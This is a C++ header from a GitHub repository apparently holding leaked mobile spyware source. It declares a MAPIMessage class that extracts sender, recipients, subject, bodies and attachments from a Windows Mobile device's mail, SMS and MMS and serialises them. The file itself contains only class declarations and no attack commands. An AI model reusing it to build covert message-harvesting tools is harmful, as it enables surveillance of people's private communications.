hackedteam/core-winmobile

View on GitHub
Mornella/Mornella_Mobile/MAPIMessage.h

Summary

Maintainability
Test Coverage
#pragma once

#pragma warning(push, 3)
#include <Windows.h>
#ifdef WINCE
#include <cemapi.h>
#else
#include <mapidefs.h>
#endif
#include <list>
#pragma warning(pop)

#include "MAPIAgentConfiguration.h"
#include "MAPIMessageSerializer.h"
#include "Common.h"

/*
struct rawEntryID {
ULONG cbSize;
LPBYTE lpEntryID;
};
*/

/*
#define PR_BODY_HTML_W 0x1013001F
#define PR_BODY_HTML_A 0x1013001E
#define PR_BODY_HTML PR_BODY_HTML_W
*/

class MAPIAttachment;
struct MAPISerializedMessageHeader;

class MAPIMessage
{
private:
    static const CHAR _filenameLength = 16;

    LPMESSAGE _pMsg;
    LPSPropValue _pMsgProps;
    ULONG _cbMsgProps;
    TCHAR _lpFilename[_filenameLength];
    LPMAPITABLE _pAttachTable;

    LPTSTR _Folder;
    LPTSTR _Class;
    LPTSTR _From;
    LPTSTR _To;

    /*
    LPTSTR _Cc;
    LPTSTR _Bcc;
    */

    LPTSTR _Subject;
    LPFILETIME _DeliveryTime;
    BOOL _hasAttach;
    DWORD _cbMimeBodySize;
    LPBYTE _lpMimeBody;

    DWORD _cbTextBodySize;
    LPBYTE _lpTextBody;

    MAPISerializedMessageHeader _header;

    HRESULT _GetProperties(void);
    HRESULT _ParseProperties(void);
    HRESULT _GetRecipients(void);
    HRESULT _WriteRecipientsToString(LPTSTR pszTo);
    HRESULT _FormatDateTime( LPFILETIME ft, LPTSTR lpwDate, LPTSTR lpwTime );
    HRESULT _GetMessageBody();

    HRESULT _OpenAttachments(void);
    LPBYTE _GetAttachmentBody( LPATTACH pAttach, LPDWORD dwSize );

    DWORD _SerializedStringLength(LPWSTR lpString)
    {
        DWORD cbStringLength = 0;
        cbStringLength += sizeof(DWORD);

        if (lpString == NULL)
            return cbStringLength;

        cbStringLength += (wcslen(lpString) + 1) * sizeof(TCHAR);

        return cbStringLength;
    }  

public:
    std::list<MAPIAttachment*> attachments;

    // MAPIMessage() {} // to be used ONLY when unserializing object!!!
    MAPIMessage(IMessage *pMsg);
    virtual ~MAPIMessage(void);

    // setters/getters
    void SetFolder(LPTSTR lpFolder) { _Folder = lpFolder; }
    LPTSTR Folder() { return _Folder; }

    void SetDeliveryTime( LPFILETIME ft ) { _DeliveryTime = ft; }
    LPFILETIME DeliveryTime() { return _DeliveryTime; }

    void SetClass( LPTSTR lpClass ) { _Class = lpClass; }
    LPTSTR Class() { return _Class; }

    void SetFrom( LPTSTR lpFrom ) { _From = lpFrom; } 
    LPTSTR From() { return _From; }

    void SetTo( LPTSTR lpTo ) { _To = lpTo; }
    LPTSTR To() { return _To; }

    /*
    void SetCC( LPTSTR lpCc ) { _Cc = lpCc; }
    LPTSTR Cc() { return _Cc; }

    void SetBcc( LPTSTR lpBcc ) { _Bcc = lpBcc; }
    LPTSTR Bcc() { return _Bcc; }
    */

    LONG Size();

    void SetSubject( LPTSTR lpSubject ) { _Subject = lpSubject; }
    LPTSTR Subject() { return _Subject; }

    void setIncoming() { _header.Flags |= MESSAGE_INCOMING; }

    void SetMIMEBody( LPBYTE lpBody, DWORD cbSize ) { _lpMimeBody = lpBody; _cbMimeBodySize = cbSize; }
    LPBYTE MIMEBody(LPDWORD lpdwSize) { (*lpdwSize) = _cbMimeBodySize; return _lpMimeBody; } 

    void SetTEXTBody( LPBYTE lpBody, DWORD cbSize) { _lpTextBody = lpBody; _cbTextBodySize = cbSize; }
    LPBYTE TEXTBody(LPDWORD lpdwSize) { (*lpdwSize) = _cbTextBodySize; return _lpTextBody; }

    BOOL hasBody() 
    {
        if (_cbTextBodySize > 0 || _cbMimeBodySize > 0)
            return TRUE;
        return FALSE;
    }

    BOOL hasSubject() {
        return (_Subject != NULL ? TRUE : FALSE);
    }
    
    BOOL isMail() {
        return CmpWildW(CLASS_MAIL, this->Class());
    }
    
    BOOL isSMS() {
        return CmpWildW(CLASS_SMS, this->Class());
    }

    BOOL isMMS() {
        return CmpWildW(CLASS_MMS, this->Class());
    }
    
    LPMESSAGE GetIMessagePtr(void) { return _pMsg; }
    MAPISerializedMessageHeader* Header() { return &_header; }

    HRESULT Print(void);
    HRESULT Parse(FilterTypes type);

    // ATTACHMENTS
    HRESULT GetAttachments(void);
    void SetNumberOfAttach(DWORD nAttachs);
    BOOL HasAttachments() { return _hasAttach; }
    MAPIAttachment* GetSingleAttachment(void);

    // SERIALIZATION
    LPBYTE Serialize(LPDWORD lpdwLength);
};